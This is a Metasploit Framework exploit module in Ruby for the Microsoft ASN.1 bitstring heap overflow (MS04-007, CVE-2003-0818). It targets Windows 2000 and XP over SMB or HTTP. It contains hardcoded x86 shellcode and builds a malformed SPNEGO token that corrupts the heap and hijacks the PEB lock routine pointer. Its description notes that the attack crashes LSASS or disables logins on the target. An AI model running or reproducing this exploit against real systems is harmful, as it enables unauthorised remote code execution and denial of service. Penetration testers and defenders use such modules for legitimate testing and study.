##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft ASN.1 Library Bitstring Heap Overflow',
			'Description'    => %q{
					This is an exploit for a previously undisclosed
				vulnerability in the bit string decoding code in the
				Microsoft ASN.1 library. This vulnerability is not related
				to the bit string vulnerability described in eEye advisory
				AD20040210-2. Both vulnerabilities were fixed in the
				MS04-007 patch.

				You are only allowed one attempt with this vulnerability. If
				the payload fails to execute, the LSASS system service will
				crash and the target system will automatically reboot itself
				in 60 seconds. If the payload succeeeds, the system will no
				longer be able to process authentication requests, denying
				all attempts to login through SMB or at the console. A
				reboot is required to restore proper functioning of an
				exploited system.

				This exploit has been successfully tested with the win32/*/reverse_tcp
				payloads, however a few problems were encounted when using the
				equivalent bind payloads. Your mileage may vary.

			},
			'Author'         => [ 'Solar Eclipse <solareclipse@phreedom.org>' ],
			'License'        => GPL_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0818'],
					[ 'OSVDB', '3902' ],
					[ 'BID', '9633'],
					[ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'],
					[ 'MSB', 'MS04-007'],

				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', # Tested OK - 11/25/2005 hdm (bind failed)
						{
							'Platform' => 'win',
						},
					],
				],
			'DisclosureDate' => 'Feb 10 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('PROTO', [ true,  "Which protocol to use: http or smb", 'smb']),
			], self.class)
	end

	# This exploit is too destructive to use during automated exploitation.
	# Better Windows-based exploits exist at this time (Sep 2006)
	def autofilter
		false
	end

	# This is a straight port of Solar Eclipse's "kill-bill" exploit, published
	# as a Metasploit Framework module with his permission. This module is only
	# licensed under GPLv2, keep this in mind if you embed the Framework into
	# a non-GPL application. -hdm[at]metasploit.com

	def exploit

		# The first stage shellcode fixes the PEB pointer and cleans the heap
		stage0 =
			"\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+
			"\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+
			"\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+
			"\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+
			"\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+
			"\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+
			"\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+
			"\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+
			"\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+
			"\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+
			"\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+
			"\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+
			"\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+
			"\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+
			"\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+
			"\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+
			"\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+
			"\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+
			"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+
			"\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+
			"\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+
			"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+
			"\x08\x00\xeb\xfe"

		token = spnego_token(stage0, payload.encoded)

		case datastore['PROTO']
			when 'smb'
				exploit_smb(token)
			when 'http'
				exploit_http(token)
			else
				print_status("Invalid application protocol specified, use smb or http")
		end
	end


	def exploit_smb(token)
		connect

		client = Rex::Proto::SMB::Client.new(sock)

		begin
			client.session_request(smb_hostname()) if not datastore['SMBDirect']
			client.negotiate
			client.session_setup_ntlmv2_blob(token)
		rescue => e
			if (e.to_s =~ /error code 0x00050001/)
				print_status("The target system has already been exploited")
			else
				print_status("Error: #{e}")
			end
		end

		handler
		disconnect
	end

	def exploit_http(token)
		connect

		req = "GET / HTTP/1.0\r\n"
		req << "Host: #{ datastore['RHOST']}\r\n"
		req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n"

		sock.put(req)
		res = sock.get_once

		if (res and res =~ /0x80090301/)
			print_status("This server does not support the Negotiate protocol or has already been exploited")
		end

		if (res and res =~ /0x80090304/)
			print_status("This server responded with error code 0x80090304 (wth?)")
		end

		handler
		disconnect
	end


	# Returns an ASN.1 encoded string
	def enc_asn1(str)
		Rex::Proto::SMB::Utils::asn1encode(str)
	end

	# Returns an ASN.1 encoded bit string with 0 unused bits
	def enc_bits(str)
		"\x03" + enc_asn1("\x00" + str)
	end

	# Returns a BER encoded constructed bit string
	def enc_constr(*str_arr)
		"\x23" + enc_asn1(str_arr.join(''))
	end

	# Returns a BER encoded SPNEGO token
	def spnego_token(stage0, stage1)

		if !(stage0 and stage1)
			print_status("Invalid parameters passed to spnego_token")
			return
		end

		if (stage0.length > 1032)
			print_status("The stage 0 shellcode is longer than 1032 bytes")
			return
		end

		tag = "\x90\x42\x90\x42\x90\x42\x90\x42"

		if ((tag.length + stage1.length) > 1033)
			print_status("The stage 1 shellcode is too long")
			return
		end


		# The first two overwrites must succeed, so we write to an unused location
		# in the PEB block. We don't care about the values, because after this the
		# doubly linked list of free blocks is corrupted and we get to the second
		# overwrite which is more useful.

		fw = "\xf8\x0f\x01\x00"		# 0x00010ff8
		bk = "\xf8\x0f\x01"

		# The second overwrite writes the address of our shellcode into the
		# FastPebLockRoutine pointer in the PEB

		peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB

		bitstring = enc_constr(
			enc_bits("A" * 1024),
			"\x03\x00",
			enc_constr(
				enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))),
				enc_constr( enc_bits(fw + bk) ),
				enc_constr(
					enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))),
					enc_constr(
						enc_bits("\xeb\x06" + make_nops(6)),
						enc_bits("D" * 1040)
					)
				)
			)
		)

		token = "\x60" + enc_asn1(                 # Application Constructed Object
			"\x06\x06\x2b\x06\x01\x05\x05\x02" +   # SPNEGO OID
			"\xa0" + enc_asn1(					   # NegTokenInit (0xa0)
				"\x30" + enc_asn1(
					"\xa1" + enc_asn1(
						bitstring
					)
				)
			)
		)

		return token
	end

end
